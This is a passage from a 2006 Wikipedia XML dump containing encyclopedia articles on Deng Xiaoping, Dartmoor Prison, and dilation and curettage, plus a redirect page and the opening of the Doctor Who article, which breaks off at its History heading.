[[sv:31 december]]
[[tl:Disyembre 31]]
[[tt:31. Dekäber]]
[[te:డిసెంబర్ 31]]
[[th:31 ธันวาคม]]
[[vi:31 tháng 12]]
[[tr:31 Aralık]]
[[uk:31 грудня]]
[[wa:31 di decimbe]]
[[war:Disyembre 31]]
[[zh:12月31日]]
[[pam:Disiembri 31]]</text>
    </revision>
  </page>
  <page>
    <title>Deng Xiaoping</title>
    <id>8205</id>
    <revision>
      <id>41776245</id>
      <timestamp>2006-03-01T17:47:36Z</timestamp>
      <contributor>
        <username>WDai</username>
        <id>927729</id>
      </contributor>
      <text xml:space="preserve">[[Image:DengXiaopingPortrait.jpg|thumb|200px|Deng Xiaoping]]
'''Deng Xiaoping''' {{Audio|zh-Deng_Xiaoping.ogg|listen}} ({{zh-stpw |t=&amp;#37159;&amp;#23567;&amp;#24179; |s=&amp;#37011;&amp;#23567;&amp;#24179; |p=D&amp;#232;ng Xi&amp;#462;op&amp;#237;ng |w=Teng Hsiao-p'ing}}; [[August 22]], [[1904]]&amp;ndash;[[February 19]], [[1997]]) was a leader in the [[Communist Party of China]] (CPC) who served as the ''[[de facto]]'' ruler of the [[People's Republic of China]] from the late [[1970s]] to the early [[1990s]]. He pioneered &quot;[[Socialism with Chinese characteristics]]&quot; and [[Chinese economic reform]], and [[Maoists]] accuse him of returning the country to [[capitalism]].

Deng formed the core of the &quot;[[Generations of Chinese leadership|second generation]]&quot; CPC leadership. Under his tutelage, China developed one of the fastest growing [[Economy of the People's Republic of China|economies]] in the world while keeping the Communist Party in tight overall control.

==Background==	 
Deng, a [[Hakka]], was born to Deng Xixian (&amp;#37159;&amp;#24076;&amp;#36066; / &amp;#37011;&amp;#24076;&amp;#36132;) in Paifang Village in Xiexing township, [[Guang'an]] County, [[Sichuan Province]]. He was educated in [[France]], as were many notable Asian revolutionaries (such as [[Ho Chi Minh]] and [[Zhou Enlai]]), where he discovered [[Marxism-Leninism]] as well as a passion for [[croissant|croissants]].	 
			
Deng married 3 times. His first wife, Zhang Xiyuan, one of his schoolmates from [[Moscow]], died when she was 24, a few days after giving birth to Deng's first child, a baby girl, who also died. His second wife, Jin Weiying, left him after he came under political attack in 1933.	 
	 
His third wife, [[Zhuo Lin]], was the daughter of an industrialist in [[Yunnan]] Province. She became a member of the Communist Party in 1938, and a year later married Deng in front of Mao's cave dwelling in [[Yan'an]]. They had five children: three daughters (Deng Lin, [[Deng Nan]], Deng Rong) and two sons ([[Deng Pufang]], Deng Zhifang).

==Early career==	 
In the summer of 1920, Deng Xiaoping graduated from the [[Chongqing]] Preparatory School. He and 80 schoolmates, participating in a work-study program for Chinese students, boarded a ship for [[France]] (traveling steerage) and in October arrived in [[Marseilles]]. Deng, the youngest of all the Chinese students, had just turned 16. He spent most of his time in France working, first at the Le Creusot Iron and Steel plant in central France, then later as a fitter in the [[Renault]] factory in the Paris suburb of [[Billancourt]], as a fireman on a locomotive and as a kitchen helper in restaurants. He barely earned enough to survive. He also briefly attended middle schools in [[Bayeux]] and [[Chatillon]].	 
			
In France, under the influence of his seniors ([[Zhao Shiyan]], [[Zhou Enlai]] and others), Deng began to study [[Marxism]] and do political propaganda work. In 1922 he joined the Communist Party of Chinese Youth in Europe. In the second half of 1924 he joined the Chinese Communist Party and became one of the leading members of the General Branch of the Youth League in Europe. During 1926 Deng studied at [[Moscow]] in the then-[[USSR]]. He returned to China in early 1927.	 
			
In 1929 Deng led the [[Baise Uprising]] in [[Guangxi]] province against the [[KMT]] government. The uprising soon failed and Deng went to the Central Soviet Area in [[Jiangxi]] province. 	 
			
He was a veteran of the [[Long March]], during which Deng served as General Secretary of the Central Committee of the Communist Party. While acting as political commissar for [[Liu Bocheng]], he organized several important military campaigns during the war with [[Japan]] and during the [[Chinese Civil War|Civil War]] against the [[Kuomintang]]. In late November 1949, Deng led the final assault on KMT forces under the direct command of [[Chiang Kai-shek]] in his native Sichuan. The city of [[Chongqing]] fell to the PLA on [[December 1]] and Deng was immediately appointed mayor and political commissar. (Chiang Kai-shek, who had moved his headquarters to Chongqing in mid-November fled to the provincial capital of [[Chengdu]]. This last mainland Chinese city to be held by the KMT fell [[December 10]] and Chiang fled to Taiwan on the same day.)	 
	 
==Ascension and Purges==	 
	 
As an old fellow combatant and supporter of [[Mao Zedong]], Deng was named by Mao to several important posts in the new government, including General Secretary of the Communist Party, soon after the formation of the [[People's Republic of China]]. 	 
	 
[[Image:destroy_liu-deng.jpg|thumb|280px|Chinese poster saying: &quot;Thoroughly pulverize the Liu-Deng counter-revolutionary line!&quot;, 1967]]	 
After officially supporting Mao Zedong in his [[Anti-Rightist Movement|Anti-Rightist Campaign]] of [[1957]], Deng became [[General Secretary of the Communist Party of China]] and ran the country's daily affairs with then [[President of the People's Republic of China|President]] [[Liu Shaoqi]]. Amid growing disenchantment with Mao's [[Great Leap Forward]], Deng and Liu gained influence within the CPC. They embarked on [[Chinese economic reform|economic reforms]] that bolstered their prestige among the party apparatus and the national populace. Deng and Liu advocated more pragmatic policies, as opposed to Mao's radicalist ideas.	 
 
Mao grew apprehensive that the prestige Deng and Liu gained from these efforts could lead to himself being reduced to a mere figurehead. For this amongst other reasons, Mao launched the [[Cultural Revolution]] in 1966, during which Deng fell out of favor and was forced to retire from all his offices. He was sent to the Xinjian County Tractor Factory in rural Jiangxi province to work as a regular worker. While there Deng spent his spare time writing. He was purged nationally, but to a lesser scale than Liu Shaoqi. 	 
 
When Premier [[Zhou Enlai]] fell ill from cancer, Deng became Zhou's choice for a successor, and Zhou was able to convince Mao to bring Deng Xiaoping back into politics in [[1974]] as First Deputy Premier, in practice running daily affairs. However, the Cultural Revolution was not yet over, and a radicalist political group known as the [[Gang of Four]] competed for power within the Communist Party. The Gang saw Deng as their greatest challenge to success. After Zhou's death in January 1976, Deng lost firm support in the party, and after delivering Zhou's official eulogy at the state funeral, was purged once again. Deng was forced to give up all posts by the Gang of Four.

==Reemergence of Deng==
The diminutive and aging Deng gradually emerged as the de-facto leader of the world's most populous nation in the few years following Mao's death in 1976. Deng was also one of only a handful of peasant revolutionaries to lead China, a group that includes [[Mao Zedong]] and the founders of the [[Han Dynasty|Han]] and [[Ming Dynasty|Ming]] dynasties.

By carefully mobilizing his supporters within the Chinese Communist Party, Deng was able to outmaneuver Mao's anointed successor [[Hua Guofeng]], who had previously pardoned him, and then oust Hua from his top leadership positions by 1980-1981. 

In contrast to previous leadership changes, Deng allowed Hua, who is still alive, to retain membership in the Central Committee until [[November]] [[2002]], to quietly retire, and helped to set a precedent that losing a high-level leadership struggle would not result in physical harm.

Deng then repudiated the [[Cultural Revolution]] and launched the &quot;[[Beijing Spring]],&quot; which allowed open criticism of the excesses and suffering that had occurred during the period. Meanwhile, he was the impetus for the abolishment of the class background system. Under this system, the CPC put up employment barriers to Chinese deemed to be associated with the former landlord class, its removal therefore effectively allowed Chinese [[capitalists]] to join the Communist Party.

Deng gradually outmaneuvered his political opponents.  By encouraging public criticism of the Cultural Revolution, he weakened the position of those who owed their political positions to that event, while strengthening the position of those like himself who had been purged during that time. Deng also received a great deal of popular support.

As Deng gradually consolidated control over the CPC, Hua was replaced by [[Zhao Ziyang]] as premier in [[1980]], and by [[Hu Yaobang]] as party chief in [[1981]]. Deng remained the most influential CPC cadre, although after [[1987]] his only official posts were as chairman of the state and Communist Party Central Military Commissions.

Originally, the [[president of the People's Republic of China|president]] was conceived of as a figurehead head of state, with actual state power resting in the hands of the [[Premier of the People's Republic of China|premier]] and the party chief, both offices being conceived of as held by separate people in order to prevent a [[cult of personality]] from forming (as it did in the case of Mao); the party would develop policy, whereas the state would execute it. Ironically, Deng held none of these top posts.

==Opening up==
[[Image:Brzezinski with Deng Xiaoping.jpg|thumb|Deng Xiaoping meeting with [[Zbigniew Brzezinski]], national security advisor to President Carter, in 1979]]
Under Deng's direction, relations with the West improved markedly. 
Deng traveled abroad and had a series of amicable meetings with western leaders, traveling to the [[United States]] in 1979 to meet President [[Jimmy Carter|Carter]] at the [[White House]] shortly after the U.S. broke diplomatic relations with the [[Republic of China]] and established them with the PRC. [[Sino-Japanese relations]] also improved significantly. Deng used Japan as an example of a rapidly progressing economic power that sets a good example for China's future economic directions.

Another achievement was the agreement signed by [[United Kingdom|Britain]] and China on [[December 19]], [[1984]] ([[Sino-British Joint Declaration]]) under which [[Hong Kong]] was to be handed over to the PRC in [[1997]]. With the end of the 99-year lease on the [[New Territories]] expiring, Deng agreed that the PRC would not interfere with Hong Kong's capitalist system for 50 years. A similar agreement was signed with [[Portugal]] for the return of colony [[Macau]]. Dubbed &quot;[[one country-two systems]],&quot; this approach has been touted by the PRC as potential framework within which [[Taiwan]] could be reunited with [[mainland China|the Mainland]] in more recent years.

Deng, however, did little to improve relations with the [[Soviet Union]], continuing to adhere to the [[Maoist]] line of the [[Sino-Soviet Split]] era that the Soviet Union was a superpower equally as &quot;hegemonist&quot; as the United States, but even more threatening to China because of its geographical proximity.

==&quot;Socialism with Chinese characteristics&quot;==
The goals of Deng's reforms were summed up by the [[Four Modernizations]], those of agriculture, industry, science and technology and the military. 
The strategy for achieving these aims of becoming a modern, industrial nation was the [[socialist market economy]].

Deng argued that China was in the primary stage of [[socialism]] and that the duty of the party was to perfect &quot;[[socialism with Chinese characteristics]].&quot; This interpretation of [[Chinese Marxism]] reduced the role of ideology in economic decision-making and deciding policies of proven effectiveness. Downgrading communitarian values but not necessarily Marxism-Leninism, Deng emphasized that socialism does not mean shared poverty.  His theoretical justification for allowing market forces was given as such:
:&quot;Planning and market forces are not the essential difference between socialism and capitalism. A planned economy is not the definition of socialism, because there is planning under capitalism; the market economy happens under socialism, too. Planning and market forces are both ways of controlling economic activity.&quot;{{ref|gittings}}

Unlike Hua Guofeng, Deng believed that no policy should be rejected out of hand simply for not having been associated with Mao, and unlike more conservative leaders such as [[Chen Yun]], Deng did not object to policies on the grounds that they were similar to ones which were found in capitalist nations.

Although Deng provided the theoretical background and the political support to allow economic reform to occur, few of the economic reforms that Deng introduced were originated by Deng himself.  Typically a reform would be introduced by local leaders, often in violation of central government directives. If successful and promising, these reforms would be adopted by larger and larger areas and ultimately introduced nationally. Many other reforms were influenced by the experiences of the [[East Asian Tigers]]. 

This is in sharp contrast to the pattern in the ''[[perestroika]]'' undertaken by [[Mikhail Gorbachev]] in which most of the major reforms were originated by Gorbachev himself. The bottom-up approach of the Deng reforms, in contrast to the top-down approach of ''perestroika'', was likely a key factor in the success of the former.

Deng's reforms actually included the introduction of planned, centralized management of the macro-economy by technically proficient bureaucrats, abandoning Mao's mass campaign style of economic construction. However, unlike the Soviet model, management was indirect through market mechanisms.

Deng sustained Mao's legacy to the extent that he stressed the primacy of agricultural output and encouraged a significant decentralization of decision making in the rural economy teams and individual peasant households. 
At the local level, material incentives, rather than political appeals, were to be used to motivate the labor force, including allowing peasants to earn extra income by selling the produce of their private plots at free market.

In the main move toward market allocation, local municipalities and provinces were allowed to invest in industries that they considered most profitable, which encouraged investment in light manufacturing. Thus, Deng's reforms shifted China's development strategy to an emphasis on light industry and export-led growth. 

Light industrial output was vital for a developing country coming from a low capital base. With the short gestation period, low capital requirements, and high foreign-exchange export earnings, revenues generated by light manufacturing were able to be reinvested in more technologically-advanced production and further capital expenditures and investments.

However, in sharp contrast to the similar but much less successful reforms in [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] and [[Hungary]], these investments were not government mandated. The capital invested in heavy industry largely came from the banking system, and  most of that capital came from consumer deposits. One of the first items of the Deng reforms was to prevent reallocation of profits except through taxation or through the banking system; hence, the reallocation in state-owned industries was somewhat indirect, thus making them more or less independent from government interference. In short, Deng's reforms sparked an industrial revolution in China. 

These reforms were a reversal of the Maoist policy of economic self-reliance. China decided to accelerate the modernization process by stepping up the volume of foreign trade, especially the purchase of machinery from [[Japan]] and the West. By participating in such export-led growth, China was able to step up the Four Modernizations by attaining certain foreign funds, market, advanced technologies and management experiences, thus accelerating its economic development.

Deng attracted foreign companies to a series of [[Special Economic Zones]], where foreign investment and market liberalization were encouraged. 

The reforms centered on improving labor productivity as well. New material incentives and bonus systems were introduced. Rural markets selling peasants' homegrown products and the surplus products of communes were revived. Not only did rural markets increase agricultural output, they stimulated industrial development as well. With peasants able to sell surplus agricultural yields on the open market, domestic consumption stimulated industrialization as well and also created political support for more difficult economic reforms.

There are some parallels between Deng's market socialism especially in the early stages, and Lenin's [[New Economic Policy]] as well as those of [[Nikolai Ivanovich Bukharin|Bukharin's]] economic policies, in that both foresaw a role for private entrepreneurs and markets based on trade and pricing rather than central planning.

An interesting anecdote on this note is the first meeting between Deng and [[Armand Hammer]]. Deng pressed the industrialist and former investor in Lenin's Soviet Union for as much information on the NEP as possible.

==Crackdown of the Tiananmen Square Protests==

The [[Tiananmen Square protests of 1989]] started from the middle of April 1989, triggered by the death of [[Hu Yaobang]], the stepped down party general secretary. Hu was widely seen as a liberal-minded person and was forced to resign from his position by [[Deng Xiaoping]], an unfair treatment in many people's view, especially among intellectuals.

Although the [[government]] declared [[martial law]] on [[May 20]], the demonstrations continued. After deliberating among [[Communist]] party leaders, the use of military force to resolve the crisis was ordered, and [[Zhao Ziyang]] was ousted from political leadership. [[Soldiers]] and [[tanks]] from the 27th and 38th Armies of the [[People's Liberation Army]] were sent to take control of the city. These forces were confronted by Chinese workers and students in the streets of Beijing and the ensuing violence resulted in both civilian and army deaths. The Chinese government acknowledged that a few hundred people died.

Estimates of civilian deaths which resulted vary: 400-800 ([[New York Times]] [http://users.erols.com/mwhite28/warstat7.htm#Chinat_sources]), 1,000 ([[National Security Agency|NSA]]), and 2,600 (Chinese Red Cross). Student protesters maintained that over 7,000 were killed. Following the violence, the government conducted widespread arrests to suppress the remaining supporters of the movement, limited access for the foreign press and controlled coverage of the events in the  mainland Chinese press. The violent suppression of the Tiananmen Square protest caused widespread international condemnation of the PRC government.
&lt;!--- ref: http://www.foreignaffairs.org/20010101faessay4257-p0/andrew-j-nathan/the-tiananmen-papers.html ---&gt;

==After resignation==

Officially, Deng decided to retire from top positions when he stepped down as Chairman of the [[Central Military Commission]] in 1989, and retired from the political scene in [[1992]]. China, however, was still in the ''era of Deng Xiaoping''. He continued to be widely regarded as the &quot;[[paramount leader]]&quot; of the country, believed to have backroom control. [[Hu Jintao]], Deng's hand-picked man, is now the leader of the fourth generation of the PRC leadership. Deng was recognized officially as &quot;The architect of China's economic reforms and China's socialist modernization&quot;.  To the Communist Party, he was believed to have set a good example for communist cadres who refused to retire at old age. He broke earlier conventions of holding offices for life. He was often referred to as simply ''Comrade Xiaoping'', with no title attached.

In the spring of [[1992]], Deng went on a southern tour of China, visiting [[Guangzhou]], [[Shenzhen]], [[Zhuhai]] and [[Shanghai]], making various speeches. He stressed the importance of economic construction in China, and criticized those who were against the reforms and opening up. He stated that &quot;leftist&quot; elements of Chinese society were much more dangerous than &quot;rightist&quot; ones. He maintained that the economic reforms was a policy unchangeable in China, and essential to China's further development. His southern tour was followed closely by Chinese media, and was taken very seriously by local officials. Many people recognized the southern tour as a new achievement, making up for the mistake of the Tiananmen crackdown.

==Death and reaction==
Deng Xiaoping died on [[February 19]], [[1997]], at age 92, but his influence continued. Even though Jiang Zemin was in firm control, government policies still followed Deng's ideas, thoughts, methods, and direction. The Central Government called Deng the &quot;Great Marxist, Great Proletarian Revolutionary, politician, militarist, diplomat; one of the main leaders of the [[Communist Party of China]], the [[People's Liberation Army]] of China, and the People's Republic of China; The great architect of China's socialist opening-up and modernized construction; the founder of Deng Xiaoping theory&quot;.

The death of Deng was followed by the largest state funeral for any Chinese leader since Mao himself. At 10 AM on the morning of [[February 24]], from all walks of life in the entire nation, people were asked to pause in silence in unison for three minutes. The nation's flags flew at [[half-mast]] for over a week. During the nationally televised funeral of Deng that was broadcast on all cable channels, [[Jiang Zemin]]'s emotional eulogy to the late reformist leader declared, &quot;The Chinese people love Comrade Deng Xiaoping, thank Comrade Deng Xiaoping, mourn for Comrade Deng Xiaoping, and cherish the memory of Comrade Deng Xiaoping because he devoted his life-long energies to the Chinese people, performed immortal feats for the independence and liberation of the Chinese nation.&quot; Jiang vowed to continue Deng's policies. After the funeral, Deng was cremated and his ashes were subsequently scattered at sea, according to his wishes. For around two weeks, China's media ran news stories and documentaries related to Deng's life and death, with the regular ''Continual News'' program in the evening lasting almost two hours over the regular broadcast time.

Domestically, however, the reaction to Deng's death was not as emotional as the Chinese media had portrayed. Although mandatory mourning sessions were issued to all SOE's, government offices, and schools, much of the general public resented the government's decision to put such great and unnecessary emphasis the days after. In the year that followed, songs like &quot;Story of the Spring&quot; by [[Dong Wenhua]], which were created in Deng's honour shortly after Deng's Southern Tour in 1992, once again were widely played. Shortly before his death, the [[China Central Television|CCTV]]-1 network ran a lengthy documentary series on Deng's life.

There was a significant amount of international reaction to Deng's death. [[UN Secretary-General]] [[Kofi Annan]] said Deng was to be remembered &quot;in the international community at large as a primary architect of China's modernization and dramatic economic development&quot;. [[President of France|French President]] [[Jacques Chirac]] said &quot;In the course of this century, few men have, as much as Deng Xiaoping, led a vast human community through such profound and determining changes&quot;; British Prime Minister [[John Major]] commented about Deng's key role in the return of Hong Kong to Chinese control. The Taiwan presidential office also sent its condolences, saying it longed for peace, cooperation, and prosperity. The [[Tenzin Gyatso, 14th Dalai Lama|Dalai Lama]] voiced regret.


==Memorials==
When compared to the memorials of other former [[Communist_Party_of_China|CCP]] leaders, those dedicated to Deng have been relatively low profile, in keeping with Deng's pragmatism.

A bronze statue of Deng was erected on [[November 14]], [[2000]], at the grand plaza of Lianhua Mountain Park (蓮花山公園) of [[Shenzhen]]. This statue is dedicated to Deng's role as a great planner and contributor to the development of the Shenzhen Special Economic Zone, starting in [[1984]]. The statue is 6 meters high, with an additional 3.68 meter base. The statue shows Deng striding forward confidently.

Another bronze statue of Deng was dedicated [[August 13]], [[2004]] in the city of [[Guang'an]], Deng's home town, in southwest China's [[Sichuan]] Province. The statue was erected to commemorate Deng's 100th birthday. The statue shows Deng, dressed casually, sitting on a chair and smiling. The Chinese characters for &quot;Statue of Deng Xiaoping” are inscribed on the pedestal. The original calligraphy was written by [[Jiang Zemin]], then Chairman of the Central Military Commission{{ref|China_Daily_Article}}.

In [[Bishkek]], capital of the Republic of [[Kyrgyzstan]], there is a 6-lane boulevard, 25 meters wide and 3.5 km long, Deng Xiaoping Prospekt, which was dedicated on [[June 18th]], [[1997]]. A 2 meter high red granite monument stands at the east end of this route. The epigraph in memory of Deng is written in Chinese, Russian and Kirghiz
{{ref|Euronet_Article}}{{ref|Wash_Post_Full_Text}}{{ref|Wash_Post_Official_Preview}}.

==References==
#{{note|gittings}} Cited by John Gittings in ''The Changing Face of China'', Oxford University Press, Oxford, 2005. ISBN 0192806122
#{{note|China_Daily_Article}} [http://www.chinadaily.com.cn/english/doc/2004-08/14/content_365434.htm  China Daily article &quot;Deng Xiaoping statue unveiled&quot;]
#{{note|Euronet_Article}} [http://64.233.167.104/search?q=cache:CKQsU_m-ZN8J:www.euronet.nl/users/sota/TN97113.htm+Bishkek+Deng&amp;hl=en Turkistan-Newsletter Volume: 97-1:13, [[20 June]] [[1997]]]
#{{note|Wash_Post_Full_Text}} [http://66.102.7.104/search?q=cache:SeA-_mcLgtcJ:taiwansecurity.org/WP/2001/WP-101801-1.htm+Bishkek+Deng+lenin&amp;hl=en John Pomfret, ''In Its Own Neighborhood, China Emerges as a Leader'' Washington Post, 10/18/2001] as quoted in Taiwan Security Research
#{{note|Wash_Post_Official_Preview}} [http://pqasb.pqarchiver.com/washingtonpost/access/84764827.html?dids=84764827:84764827&amp;FMT=ABS&amp;FMTS=ABS:FT&amp;fmac=&amp;date=Oct+18%2C+2001&amp;author=John+Pomfret&amp;desc=In+Its+Own+Neighborhood%2C+China+Emerges+as+a+Leader John Pomfret, ''In Its Own Neighborhood, China Emerges as a Leader'' Washington Post, 10/18/2001] Preview, with option to buy, direct from Washington Post

==External links==
{{wikiquote}}
*[http://english.peopledaily.com.cn/dengxp/ Selected Works of Deng Xiaoping]
*[http://www.cbw.com/asm/xpdeng/contents.html Life of Deng Xiaoping]
* [http://www.cnn.com/SPECIALS/1999/china.50/inside.china/profiles/deng.xiaoping/children/ China's former 'first family' (from CNN)]
*[http://www.cnn.com/WORLD/9702/24/china.deng/ China officially mourns Deng Xiaoping] (from CNN)
*[http://rwor.org/a/firstvol/890-899/896/capchi.htm Deng's Free Market Nightmare] (Maoist criticism)
*[http://www.pww.org/article/articleview/899/1/68/ China 2002: Building socialism with Chinese characteristics] (Communist Party USA)
*[http://www.chinadaily.com.cn/english/doc/2004-06/25/content_342508.htm China Daily Biography]
*[http://www.chine-nouvelle.com/caricatures/deng-xiaoping.html Caricature of Deng Xiaoping] (Chinese-Tools.com)
{{start box}}
{{succession box | before = [[Zhang Wentian]] | title = [[General Secretary of the Communist Party of China]] | years = 1956&amp;ndash;1957 | after = [[Hu Yaobang]]}}
{{succession box | before = [[Hua Guofeng]] | title = Chairman of the [[Central Military Commission]] of CCP | years = 1981&amp;ndash;1989 | after = [[Jiang Zemin]]}}
{{succession box | before = None | title = Chairman of the [[Central Military Commission]] of PRC | years = 1983&amp;ndash;1990 | after = [[Jiang Zemin]]}}
{{end box}}

[[Category:1904 births|Deng, Xiaoping]]
[[Category:1997 deaths|Deng, Xiaoping]]
[[Category:Chinese World War II people]]
[[Category:Hakka people|Deng, Xiaoping]]
[[Category:Leaders of the Communist Party of China|Deng, Xiaoping]]
[[Category:People from Sichuan|Deng, Xiaoping]]

[[zh-min-nan:Tēng Siáu-pêng]]
[[de:Deng Xiaoping]]
[[es:Deng Xiaoping]]{{Link FA|es}}
[[eo:DENG Xiaoping]]
[[fa:دنگ ژیائوپینگ]]
[[fr:Deng Xiaoping]]
[[ko:덩샤오핑]]
[[id:Deng Xiaoping]]
[[it:Deng Xiaoping]]
[[he:דנג שיאופינג]]
[[nl:Deng Xiaoping]]
[[no:Deng Xiaoping]]
[[ja:トウ小平]]
[[pl:Deng Xiaoping]]
[[pt:Deng Xiaoping]]
[[ru:Дэн Сяопин]]
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[[th:เติ้งเสี่ยวผิง]]
[[zh:邓小平]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmoor (HM Prison)</title>
    <id>8206</id>
    <revision>
      <id>38275775</id>
      <timestamp>2006-02-05T06:52:10Z</timestamp>
      <contributor>
        <username>Lapsed Pacifist</username>
        <id>173787</id>
      </contributor>
      <text xml:space="preserve">'''[[Her Majesty's Prison Service|HM Prison]] Dartmoor''' is located in [[Princetown, England]], high on [[Dartmoor]], and presents a bleak and formidable sight. Its high [[granite]] walls dominate this area of the [[Heath (habitat)|moor]]. 

Constructed originally between [[1806]] and [[1809]] by local labour, to hold prisoners of the [[Napoleonic Wars]], it was also used to hold [[United States|American]] prisoners from the [[War of 1812]]. Although the war ended with the [[Treaty of Ghent]] in December 1814, many American [[prisoners of war]] still remained in Dartmoor. On [[April 6]], [[1815]], 70 of them were massacred at the behest of the allegedly drunk British officer in charge, who thought that they were attempting to escape. A memorial to the 271 [[POW]]s (mostly [[United States Navy|seamen]]) who are buried in the prison grounds has been erected.

Dartmoor Prison was reopened in [[1851]] as a civilian [[prison]], and has contained some of Britain's most serious offenders ever since. It has a misplaced reputation for being escape-proof. 

There was a major riot in January [[1932]], which left much of the prison in ruins.

There is a small museum of prison life, which is open to the public at some times of the year.

There is also a yearly charity 'Dartmoor Jailbreak', where civilians (not prisoners) 'escape' from the prison and must travel as far as possible in 4 days, whilst in convict clothing and without directly paying for transport.

[[Category:Prisons in the United Kingdom|Dartmoor]]
[[Category:Dartmoor]]
{{Prison-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Dilation and curettage</title>
    <id>8207</id>
    <revision>
      <id>41923573</id>
      <timestamp>2006-03-02T17:25:38Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Dilation (dilatation) and curettage''' ('''D&amp;amp;C''') or '''sharp curettage''' is a [[gynaecology|gynaecological]] procedure performed on the [[female reproductive system]] that used to be a common method of [[abortion]]. The procedure involves dilating the [[cervix]] and inserting instruments to clean out the lining of the [[uterus]], which can include an [[embryo]] or [[fetus]], while the woman is under an [[Anesthesia|anaesthetic]]. A curettage is performed with a [[curette]], a metal rod with a handle on one end and a sharp loop on the other. 

D&amp;amp;Cs are commonly performed to resolve abnormal uterine bleeding (too much, too often or too heavy a [[menses|menstrual]] flow); to remove the excess uterine lining in women who have conditions such as [[PCOS]] (which cause a prolonged buildup of tissue with no natural period to remove it); to remove [[uterine fibroid]]s or other suspected abnormalities, such as premalignant cells in their uterine lining; and occasionally as a method of abortion.

Because medical and non-invasive methods of abortion now exist, and because D&amp;amp;C requires heavy sedation or general anesthesia and has higher risks of complication, the procedure has been declining as a method of abortion. The [[World Health Organization]] only recommends D&amp;amp;C as a method of abortion when [[manual vacuum aspiration]] is unavailable{{ref|WHO1}}. According to the [[Centers for Disease Control and Prevention]], D&amp;amp;C only accounted for 2.4% of abortions in the [[United States]] in the year [[2002]]{{ref|CDC1}}, down from 23.4% in [[1972]]{{ref|CDC2}}.

Three related procedures used for abortion are [[Suction-aspiration abortion|suction or vacuum aspiration]], [[dilation and evacuation]] and [[dilation and extraction]], the latter of which is also known non-medically as [[partial-birth abortion]].

If the procedure is performed too roughly, scar tissue may form and seal the uterus shut ([[Asherman's syndrome]]), resulting in [[infertility]].

==References==
#{{note|WHO1}} {{cite web | title=Dilatation and curettage | work=A-Z Managing Complications in Pregnancy and Childbirth by WHO | url=http://www.who.int/reproductive-health/impac/Procedures/Dilatetion_P61_P63.html | accessdate=February 20 | accessyear=2006}}
#{{note|CDC1}} {{cite web | title=Abortion Surveillance --- United States, 2002 | work=MMWR Surveillance Summaries | url=http://www.cdc.gov/mmwr/preview/mmwrhtml/ss5407a1.htm | accessdate=February 20 | accessyear=2006}}
#{{note|CDC2}} {{cite web | title=Abortion Surveillance -- United States, 1990 | work=MMWR Surveillance Summaries | url=http://www.cdc.gov/mmwr/preview/mmwrhtml/00031585.htm | accessdate=February 20 | accessyear=2006}}

==External links==
* [http://www.kuro5hin.org/story/2004/3/22/20565/6275 HOWTO: Perform the Dilation &amp; Curettage Surgical Procedure] by &quot;ti_dave&quot;,  [[March 24th]], [[2004]]. Article and discussion published on [[Kuro5hin]].
* [http://www.who.int/reproductive-health/impac/Procedures/Dilatetion_P61_P63.html WHO's Dilatation and curettage guide]

[[Category:Gynecology]]</text>
    </revision>
  </page>
  <page>
    <title>De Moivres formula</title>
    <id>8208</id>
    <revision>
      <id>15906222</id>
      <timestamp>2002-06-15T14:55:29Z</timestamp>
      <contributor>
        <ip>213.253.40.114</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[De Moivre's formula]]</text>
    </revision>
  </page>
  <page>
    <title>Doctor Who</title>
    <id>8209</id>
    <revision>
      <id>42133528</id>
      <timestamp>2006-03-04T01:13:01Z</timestamp>
      <contributor>
        <username>Khaosworks</username>
        <id>60133</id>
      </contributor>
      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = Doctor Who
  | image = [[Image:Dw2005logo.png|300px]]
  | caption = 2005 ''Doctor Who'' series logo.
  | format = [[Science fiction]], [[drama]] [[television|television programme]]
  | runtime = 25 [[minutes|mins]] 1963&amp;ndash;1989, except 1985 (45 mins)&lt;br&gt;45 mins (2005&amp;ndash;)
  | country = [[United Kingdom]]
  | network = [[BBC One]]
  | first_aired = [[November 23]], [[1963]]
  | last_aired = present
  | creator = [[Sydney Newman]] &lt;br&gt; [[C. E. Webber]] &lt;br&gt; [[Donald Wilson]]
  | starring = Various, currently [[David Tennant]], [[Billie Piper]] (2005–)
  | num_episodes = 718 (1963–1989, 1996, 2005–)
|}}
'''''Doctor Who''''' is a long-running [[United Kingdom|British]] [[science fiction television]] programme produced by the [[BBC]] about a mysterious [[time-travel]]ling adventurer known only as &quot;[[Doctor (Doctor Who)|The Doctor]]&quot;.  It is also the title of a [[Doctor Who (1996)|1996 television movie]] featuring the same character. It is common to see the show's title abbreviated as '''''Dr. Who''''', even by the BBC, although [[purist]]s consider this form incorrect.

The programme is a significant part of British [[popular culture]], widely recognised for its creative storytelling and pioneering use of music (originally produced by the [[BBC Radiophonic Workshop]]). It is also known for the innovative, low-budget [[special effects]] used for most of its history prior to 1996. Elements of the programme are extremely well known and identifiable even to non-fans. In Britain and elsewhere, the show has become a [[cult television]] favourite on a par with ''[[Star Trek]]'' and has influenced generations of British television writers, many of whom grew up watching the series. It has also received [[#awards|recognition]] from critics and the public as one of the finest British television programmes.

After a long period off screen, a [[History of Doctor Who#The 2000s|new series]] of ''Doctor Who'' started in 2005, continuing the programme from the original 1963&amp;ndash;1989 run and the 1996 television movie. It is produced in-house by [[BBC Wales]] with some development money contributed by the [[Canadian Broadcasting Corporation]] (CBC). 

A special [[Children in Need]] &quot;[[Doctor Who Children in Need special (2005)|mini-episode]]&quot; was broadcast on [[18 November]] [[2005]], and the programme returned for a [[The Christmas Invasion|special]] on [[Christmas|Christmas Day]] 2005. 

Production of the [[List of Doctor Who serials#Series 2 (2006)|second series]], scheduled for broadcast on both BBC and CBC in 2006, is underway, starring [[David Tennant]] as the Doctor and [[Billie Piper]] as his [[:Category:Doctor Who companions|companion]] [[Rose Tyler]]. This will be followed by a second Christmas special later in 2006 and a third series in 2007. A spin-off series, ''[[Torchwood]]'', has also been announced for 2006. The [[United States]] broadcast of the 2005 series is scheduled to begin on [[March 17]] [[2006]] on the [[Sci Fi Channel (United States)|Sci Fi Channel]]. [http://www.scifi.com/scifiwire/index.php?id=34141]

==History==
